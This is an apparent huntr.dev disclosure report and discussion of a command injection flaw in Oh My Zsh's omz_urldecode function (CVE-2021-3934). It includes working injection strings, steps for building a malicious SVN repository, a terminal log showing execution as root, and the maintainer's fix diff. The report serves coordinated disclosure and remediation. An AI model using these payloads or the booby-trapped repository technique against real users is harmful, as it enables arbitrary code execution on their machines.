OS Command Injection in ohmyzsh/ohmyzsh

Valid

Reported on

Nov 2nd 2021


Description

In Oh My Zsh, there is a function called omz_urldecode, which is used to decode URLs. Since this function is using eval with user inputs without any sanitization, it's possible to inject arbitrary commands into the eval context, which allows an attacker to achieve the command injection.

Some official themes are using this function via svn_prompt_info, so it's possible to execute arbitrary commands once someone changed their current directory to the malicious SVN repository.

Steps to reproduce

Simpler steps:

1​. Open Oh My Zsh in your terminal.

2​. Execute omz_urldecode "test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned".

3​. id && echo 'pwned' && touch /tmp/pwned will be executed.

Realistic attack scenario:

Setup a malicious SVN repository:

1​. Install subversion and sqlite3.

2​. Create a new repository in /tmp/svn: svnadmin create /tmp/svn

3​. Create a new directory named repo in /tmp and change the current directory: mkdir /tmp/repo && cd /tmp/repo

4​. Checkout the repository: svn co file:///tmp/svn /tmp/repo

5​. Open .svn/wc.db with sqlite3: sqlite3 .svn/wc.db

6​. Update the repository URL: update NODES set repos_path="test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned" where local_relpath="";

7​. Quit sqlite3: .exit

Trigger the vulnerability:

1​. Open ~/.zshrc with a text editor.

2​. Set ZSH_THEME to minimal: ZSH_THEME="minimal"

3​. Add svn to plugins: plugins=(git svn)

4​. Restart Oh My Zsh, and apply the configuration.

5​. Change the current directory to /tmp/repo: cd /tmp/repo

6​. id && echo 'pwned' && touch /tmp/pwned will be executed.

➜  / ls -la /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory
➜  / svnadmin create /tmp/svn
➜  / mkdir /tmp/repo && cd /tmp/repo
➜  repo svn co file:///tmp/svn /tmp/repo
Checked out revision 0.
➜  repo sqlite3 .svn/wc.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> update NODES set repos_path="test'+id+&&+echo+'pwned'+&&+touch+'/tmp/pwned" where local_relpath="";
sqlite> .exit
➜  repo cd /
➜  / vim ~/.zshrc
➜  / zsh
/ » cd /tmp/repo
/tmp/repo [uid=0(root) gid=0(root) groups=0(root)
pwned] » ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov  2 04:21 /tmp/pwned
/tmp/repo [uid=0(root) gid=0(root) groups=0(root)
pwned] »

Impact

As omz_urldecode function itself is intended to be used in the plugins/functions, it may allow an attacker to achieve remote code execution, depends on how themes/plugins use this function.

RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
RyotaK modified their report
a month ago
Adam Nygate
a month ago

Admin


Hi, I've updated the report to properly format the occurrences, as if this is mis-formatted, it may lead to our system automatically invalidating the report.

RyotaK
a month ago

Researcher


Hi and thank you for your response. As mentioned in my report, huntr.dev is currently leaking occurrences even if the report itself is private. Is there any way to prevent this from happening? If not, I'd like to revert changes.

Adam Nygate
a month ago

Admin


We're deploying a fix for this issue today. Reverting this change would lead to the bounty being dropped for an invalid report (invalid permalink references provided).

RyotaK
a month ago

Researcher


Okay, thank you so much for fixing the issue! I'll leave the permalink as it is then.

We created a GitHub Issue asking the maintainers to create a SECURITY.md a month ago
We have contacted a member of the ohmyzsh team and are waiting to hear back a month ago
We have sent a follow up to the ohmyzsh team. We will try again in 7 days. a month ago
RyotaK
a month ago

Researcher


Hi adam, it looks like the report isn't sent correctly:

https://github.com/ohmyzsh/ohmyzsh/issues/10380#issuecomment-962444609 Hey there, just a kind reminder that we're still waiting for news about this. Let me know also if it turned out not to be an issue after all, just for peace of mind. Thanks!

Can you check if the email address is correct?

Jamie Slome
a month ago

Admin


@ry0tak - I have dropped a message on the GitHub Issue ♥️

RyotaK
a month ago

Researcher


Hi Jamie, thank you so much ;)

ohmyzsh/ohmyzsh maintainer validated this vulnerability a month ago
RyotaK has been awarded the disclosure bounty
The fix bounty is now up for grabs
ohmyzsh/ohmyzsh maintainer
a month ago

Maintainer


Hi, this is Marc Cornellà from Oh My Zsh. I don't think I'm added as a maintainer since only Robby got the email and I can't see this bounty while logged in.

That said, I already have a fix but I don't want to make it public yet until we can ensure a small window between the fix being rolled out and all users getting it (as is now, some users may get updates 13 days late).

Can I submit the fix, then wait for it to be public before the vulnerability is disclosed?

Jamie Slome
a month ago

Admin


@maintainer - I have now added you (Marc) as a maintainer of this repository. You will now have access to this report and be notified of new reports as well.

I'd recommend confirming the fix once you are ready for the report to go public. You can always just drop a message here with a link to the fix commit, just to serve as a reminder 👍

Marc Cornellà
25 days ago

Maintainer


The fix is simply this, I haven't pushed it to my clone in case anyone finds it before the fix is rolled out.

diff --git a/lib/functions.zsh b/lib/functions.zsh
index fc53611b..61f4dd49 100644
--- a/lib/functions.zsh
+++ b/lib/functions.zsh
@@ -237,12 +237,11 @@ function omz_urldecode {
   tmp=${tmp:gs/\\/\\\\/}
   # Handle %-escapes by turning them into `\xXX` printf escapes
   tmp=${tmp:gs/%/\\x/}
-  local decoded
-  eval "decoded=\$'$tmp'"
+  local decoded="$(printf -- "$tmp")"
 

By the way, I've been trying a bunch of stuff and I've found a way to exploit this with a malicious svn repo, without messing with sqlite. The method would be to add a directory with a name like baddir'+id+&&+echo+'pwned. If the user then enters this directory, the vulnerability would be triggered.

I've also found a bunch of other stuff similar to this vulnerability which are worse than this one 😐

RyotaK
24 days ago

Researcher


That fix seems work fine, I couldn't find a way to bypass it.

> By the way, I've been trying a bunch of stuff and I've found a way to exploit this with a malicious svn repo, without messing with sqlite. The method would be to add a directory with a name like baddir'+id+&&+echo+'pwned. If the user then enters this directory, the vulnerability would be triggered.

Oh, I missed that... Thanks for letting me know about that ;)

> I've also found a bunch of other stuff similar to this vulnerability which are worse than this one 😐

That sounds bad, was it something like remotely exploitable without user interactions?

Marc Cornellà
24 days ago

Maintainer


  1. A vulnerability in branch name output to the PROMPT, so a bad branch would trigger code, in some themes (so a checkout and cd to a malicious repository triggers it).

  2. A vulnerability in title setting with the default Oh My Zsh function (this requires changes made by the user).

  3. A vulnerability in two plugins that output messages from a website (no user interaction needed, just enabling the plugin).

  4. A vulnerability in a plugin that evals a directory name, so moving out of a directory with a bad name would trigger the vuln.

RyotaK
24 days ago

Researcher


Oops, that sounds pretty bad. I'm glad that you found them before this report was published :)

Marc Cornellà
23 days ago

Maintainer


Vulnerability disclosure (without exploit steps) will be published today alongside the fixes. After a week or so this report could be made public. @admin thoughts?

Jamie Slome
22 days ago

Admin


We will publish the CVE (without exploit steps), so that a common identifier can be used when discussing this vulnerability. After this, we will make the report public on the 18th of November.

Jamie Slome
22 days ago

Admin


CVE published! 🎊 (CVE-2021-3934)

We will confirm the fix against this report 1 week from now. This will make the report public.

Just for reference:

https://github.com/ohmyzsh/ohmyzsh/commit/6cb41b70a6d04301fd50cd5862ecd705ba226c0e

Jamie Slome confirmed that a fix has been merged on 6cb41b 12 days ago
The fix bounty has been dropped
functions.zsh#L241 has been validated